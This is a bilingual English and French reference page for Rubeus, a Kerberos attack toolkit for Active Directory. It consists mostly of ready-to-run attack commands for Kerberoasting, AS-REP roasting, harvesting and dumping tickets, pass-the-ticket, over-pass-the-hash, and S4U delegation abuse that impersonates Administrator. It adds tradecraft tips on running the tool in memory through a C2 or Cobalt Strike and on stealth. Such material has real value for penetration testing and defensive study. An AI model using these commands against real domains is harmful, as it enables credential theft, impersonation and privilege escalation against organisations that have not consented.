Rubeus
Toolkit Kerberos en C#. Réalise du Kerberoasting, de l'AS-REP Roasting, du pass-the-ticket, de l'over-pass-the-hash, de la collecte de tickets et de l'abus S4U. C# Kerberos toolkit. Performs Kerberoasting, AS-REP Roasting, pass-the-ticket, over-pass-the-hash, ticket harvesting, and S4U abuse.
↗ https://github.com/GhostPack/RubeusOverview
Rubeus is the primary C# toolkit for Kerberos-based attacks in Active Directory. It runs in memory on Windows (no disk touch when loaded via C2) and covers the full Kerberos attack chain from initial enumeration to privilege escalation.
Kerberoasting
# Kerberoast all SPNs
Rubeus.exe kerberoast
# Output as hashcat format (mode 13100)
Rubeus.exe kerberoast /outfile:hashes.txt
# Target specific user
Rubeus.exe kerberoast /user:svc_sql
# RC4 only (easier to crack than AES)
Rubeus.exe kerberoast /rc4opsec
AS-REP Roasting
# Find and roast AS-REP Roastable users (don't require preauth)
Rubeus.exe asreproast
# Target specific user
Rubeus.exe asreproast /user:jdoe
# Output to file
Rubeus.exe asreproast /outfile:asrep_hashes.txt /format:hashcat
Ticket Harvesting
# Harvest TGTs from current machine
Rubeus.exe harvest /interval:30
# List all tickets in memory
Rubeus.exe triage
# Dump all tickets
Rubeus.exe dump
# Dump specific ticket
Rubeus.exe dump /service:krbtgt /luid:0x3e7
# Monitor for new TGTs (useful on shared servers)
Rubeus.exe monitor /interval:10 /nowrap
Pass-the-Ticket
# Import a .kirbi ticket
Rubeus.exe ptt /ticket:ticket.kirbi
# Import base64-encoded ticket
Rubeus.exe ptt /ticket:BASE64BLOB
# Verify imported ticket
klist
Over-Pass-the-Hash (OPTH)
# Get TGT using NTLM hash
Rubeus.exe asktgt /user:administrator /rc4:NTLM_HASH /ptt
# Get TGT using AES256 key (stealthier)
Rubeus.exe asktgt /user:administrator /aes256:AES_KEY /ptt
# Inject into specific LUID
Rubeus.exe asktgt /user:administrator /rc4:HASH /createnetonly:C:\Windows\System32\cmd.exe
Service Ticket Requests
# Request a service ticket (TGS)
Rubeus.exe asktgs /ticket:TGT.kirbi /service:cifs/server.domain.local /ptt
# S4U2self (impersonate user to service)
Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/server.domain.local /ptt
# S4U2proxy (constrained delegation abuse)
Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator \
/msdsspn:cifs/server.domain.local /altservice:host,http /ptt
Certificate-Based Auth (PKINIT)
# Request TGT using a certificate
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:certpass /ptt
Tips
- Always use
/nowrapwhen running over a C2 to avoid line-break issues with base64 tickets /createnetonlycreates a sacrificial process — inject the ticket there to avoid contaminating your current session- AES256 tickets (
/aes256) are stealthier than RC4 — AES is the default on modern domains - Combine with Cobalt Strike’s
execute-assemblyto run entirely in memory
Key commands reference
Rubeus.exe [command] [options]
Roasting:
kerberoast Kerberoast SPNs
asreproast AS-REP Roast users
Tickets:
triage List all tickets
dump Dump tickets
harvest Continuously harvest TGTs
monitor Monitor for new TGTs
ptt Pass-the-ticket (import)
purge Remove all tickets
TGT Requests:
asktgt Request TGT (OPTH/certs)
asktgs Request service ticket
s4u S4U2self/S4U2proxy abuse
renew Renew a TGT
Other:
changepw Change password via kpasswd
describe Describe a ticket
currentluid Get current LUID
klist List Kerberos tickets
Vue d’ensemble
Rubeus est le toolkit C# de référence pour les attaques basées sur Kerberos en Active Directory. Il s’exécute en mémoire sous Windows (aucune écriture disque quand il est chargé via un C2) et couvre toute la chaîne d’attaque Kerberos, de l’énumération initiale à l’élévation de privilèges.
Kerberoasting
# Kerberoaster tous les SPN
Rubeus.exe kerberoast
# Sortie au format hashcat (mode 13100)
Rubeus.exe kerberoast /outfile:hashes.txt
# Cibler un utilisateur spécifique
Rubeus.exe kerberoast /user:svc_sql
# RC4 uniquement (plus facile à casser que AES)
Rubeus.exe kerberoast /rc4opsec
AS-REP Roasting
# Trouver et roaster les utilisateurs AS-REP Roastable (sans préauth requise)
Rubeus.exe asreproast
# Cibler un utilisateur spécifique
Rubeus.exe asreproast /user:jdoe
# Sortie vers un fichier
Rubeus.exe asreproast /outfile:asrep_hashes.txt /format:hashcat
Collecte de tickets
# Collecter les TGT de la machine courante
Rubeus.exe harvest /interval:30
# Lister tous les tickets en mémoire
Rubeus.exe triage
# Dumper tous les tickets
Rubeus.exe dump
# Dumper un ticket spécifique
Rubeus.exe dump /service:krbtgt /luid:0x3e7
# Surveiller les nouveaux TGT (utile sur des serveurs partagés)
Rubeus.exe monitor /interval:10 /nowrap
Pass-the-Ticket
# Importer un ticket .kirbi
Rubeus.exe ptt /ticket:ticket.kirbi
# Importer un ticket encodé en base64
Rubeus.exe ptt /ticket:BASE64BLOB
# Vérifier le ticket importé
klist
Over-Pass-the-Hash (OPTH)
# Obtenir un TGT en utilisant le hash NTLM
Rubeus.exe asktgt /user:administrator /rc4:NTLM_HASH /ptt
# Obtenir un TGT en utilisant la clé AES256 (plus discret)
Rubeus.exe asktgt /user:administrator /aes256:AES_KEY /ptt
# Injecter dans un LUID spécifique
Rubeus.exe asktgt /user:administrator /rc4:HASH /createnetonly:C:\Windows\System32\cmd.exe
Demandes de ticket de service
# Demander un ticket de service (TGS)
Rubeus.exe asktgs /ticket:TGT.kirbi /service:cifs/server.domain.local /ptt
# S4U2self (usurper un utilisateur auprès d'un service)
Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/server.domain.local /ptt
# S4U2proxy (abus de délégation contrainte)
Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator \
/msdsspn:cifs/server.domain.local /altservice:host,http /ptt
Authentification par certificat (PKINIT)
# Demander un TGT en utilisant un certificat
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:certpass /ptt
Conseils
- Toujours utiliser
/nowrapen passant par un C2 pour éviter les problèmes de retour à la ligne avec les tickets en base64 /createnetonlycrée un processus sacrificiel : y injecter le ticket pour éviter de contaminer la session courante- Les tickets AES256 (
/aes256) sont plus discrets que RC4 : AES est le défaut sur les domaines modernes - Combiner avec
execute-assemblyde Cobalt Strike pour tout exécuter en mémoire
Référence des commandes clés
Rubeus.exe [command] [options]
Roasting:
kerberoast Kerberoast SPNs
asreproast AS-REP Roast users
Tickets:
triage List all tickets
dump Dump tickets
harvest Continuously harvest TGTs
monitor Monitor for new TGTs
ptt Pass-the-ticket (import)
purge Remove all tickets
TGT Requests:
asktgt Request TGT (OPTH/certs)
asktgs Request service ticket
s4u S4U2self/S4U2proxy abuse
renew Renew a TGT
Other:
changepw Change password via kpasswd
describe Describe a ticket
currentluid Get current LUID
klist List Kerberos tickets